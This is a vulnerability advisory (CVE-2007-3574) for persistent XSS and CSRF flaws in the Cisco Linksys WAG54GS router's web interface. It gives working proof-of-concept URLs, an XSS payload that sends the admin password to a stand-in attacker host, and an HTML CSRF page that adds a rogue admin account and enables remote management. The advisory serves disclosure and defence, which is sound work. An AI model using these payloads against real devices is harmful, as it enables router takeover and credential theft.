I really think that web interfaces are the low-hanging fruit of embedded devices. Sure classic attacks such as predictable SNMP community strings, exposed TFTP services and buffer overflows still apply. However, by exploiting the web interface we can steal the data we want, we can enable remote access to the compromised router, we own the victim’s connection. In short, bugs on the web interface gives us all we need! Anyway, enough talking! The following are some of the issues I found on the Cisco Linksys WAG54GS.

The following vulns were found on 24 June 2007 and were tested against firmware V1.00.06. The specific persistent XSS holes mentioned in this advisory were fixed by Cisco on firmware version V1.01.03. However, there are still several other persistent XSS plus the system-wide CSRF in the latest firmware. CVE-2007-3574 has been assigned to these issues. Thanks a lot to Cisco for being so great when dealing with my emails! Credits also go to pdp for providing feedback, ideas and allowing me to play with his spare WAG54GS router.

By the way, part of this advisory got leaked some time ago on FD, but I am publishing it as a formal release with additional information including a password leak which can be combined with any of the persistent XSS holes found (keep reading for more info on this).

Description

There are several persistent XSS vulnerabilities on the /setup.cgi script. It is possible to inject JavaScript by assigning a payload like the following to any of the vulnerable parameters:

><script>[PAYLOAD]</script>

The vulnerable (non-sanitized) parameters are the following: devname, snmp_getcomm, snmp_setcomm, c4_trap_ip_. Additionally, all HTTP requests are not tokenized with random values. Thus, all requests to the router’s HTTP interface are vulnerable to Cross-site Request Forgeries (CSRF), perhaps by design. The following is an example of a HTTP request (notice the lack of non-predictable tokens):

POST /setup.cgi HTTP/1.1
Authorization: Basic YWRtaW46YWRtaW4=

mtenRestore=Restore+Factory+Defaults&todo=defaultsettings&this_file=Factorydefaults.htm&next_file=index.htm&message=

Although the original request is a POST, we can convert it to a GET, so that all posted parameters can be submitted on a single URL. For example, the previous POST request can be converted to a URL such as the following:

http://admin:admin@192.168.1.1/setup.cgi?mtenRestore=Restore+Factory+Defaults&todo=defaultsettings&this_file=Factorydefaults.htm&next_file=index.htm&message=

By forging administrative requests (Administration button on the router’s HTML menu), an attacker can compromise the router provided the victim user visits a malicious URL or HTML page. The attack can only be successful if the administrator hasn’t changed the default credentials (admin/admin) or the administrator’s browser has an active authentication session with the router’s interface when the attack happens (highly unlikely)

Persistent XSS PoC

The following URL creates a DoS condition by making the Administration page inaccessible since history.back() will run every time the Administration page is visited. Thus the administrator won’t be able to ever change the default credentials unless a hard reset is performed by using the router’s physical “restart” switch:

http://admin:admin@192.168.1.1/setup.cgi?user_list=1&sysname=admin&sysPasswd=admin&sysConfirmPasswd=admin&remote_management=enable&http_wanport=8080&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=enable&save=Save+Settings&h_user_list=1&h_pwset=yes&pwchanged=yes&h_remote_management=enable&c4_trap_ip_=">history.back()&h_snmp_enable=enable&h_upnp_enable=enable&h_wlan_enable=enable&todo=save&this_file=Administration.htm&next_file=Administration.htm&message=

Note that he administration page (/setup.cgi?next_file=Administration.htm) returns the admin password within the client-side HTML source code as a hidden field. i.e.:

<input type="hidden" name="old_pwd" value="admin">

Therefore, we could also inject a payload in our persistent XSS attack which accesses the admin password through the DOM object:

document.administration.old_pwd.value

…and submits it to the attacker’s site every time the page is accessed. That way, even if the victim admin changed the password, the attacker would receive the value of the new password! Here is an example payload:

"><script>img=new Image();img.src='http://evil.foo/?last_pwd='+document.administration.old_pwd.value</script><a b="

CSRF PoC

The following HTML page does the following:

  • adds an additional administrative account, with a username equals to ‘attacker’ and a password equals to 0wned (without removing original admin account!)
  • enables remote HTTP management over port 1337
  • sets other settings that are inrelevant to this discussion
<html>
<body>
	<script>
	// send 2 requests to add an administrative account and enable remote management
	// tries with default credentials and with credentials cached by browser (if any)

	var img = new Image();
	var img2 = new Image();

	img.src = 'http://admin:admin@192.168.1.1/setup.cgi?user_list=8&sysname=attacker&sysPasswd=0wned&sysConfirmPasswd=0wned&remote_management=enable&http_wanport=1337&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=enable&save=Save+Settings&h_user_list=8&h_pwset=yes&pwchanged=yes&h_remote_management=enable&c4_trap_ip_=&h_snmp_enable=disable&h_upnp_enable=enable&h_wlan_enable=enable&todo=save&this_file=Administration.htm&next_file=Administration.htm&message=';
	img2.src = 'http://192.168.1.1/setup.cgi?user_list=8&sysname=attacker&sysPasswd=0wned&sysConfirmPasswd=0wned&remote_management=enable&http_wanport=1337&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=enable&save=Save+Settings&h_user_list=8&h_pwset=yes&pwchanged=yes&h_remote_management=enable&c4_trap_ip_=&h_snmp_enable=disable&h_upnp_enable=enable&h_wlan_enable=enable&todo=save&this_file=Administration.htm&next_file=Administration.htm&message=';
	</script>
</body>
</html>

The first URL forges the administrative request using the default credentials, so it won’t work if default credentials have been changed. The second URL doesn’t specify any credentials as an attempt to use the browser’s cached credentials. If the admin user has clicked on “Save password” on the basic authentication prompt, most browsers will prompt the user to confirm submitting the cached credentials. The only situation in which browsers won’t ask the user to confirm submitting the credentials would be if the malicious CSRF page was visited while the browser has an active authenticated session with the router’s HTTP interface (very unlikely).

Additional notes

  • router reboots after saving settings (requests sent to setup.cgi)
  • all attacks were tested using Internet Explorer 7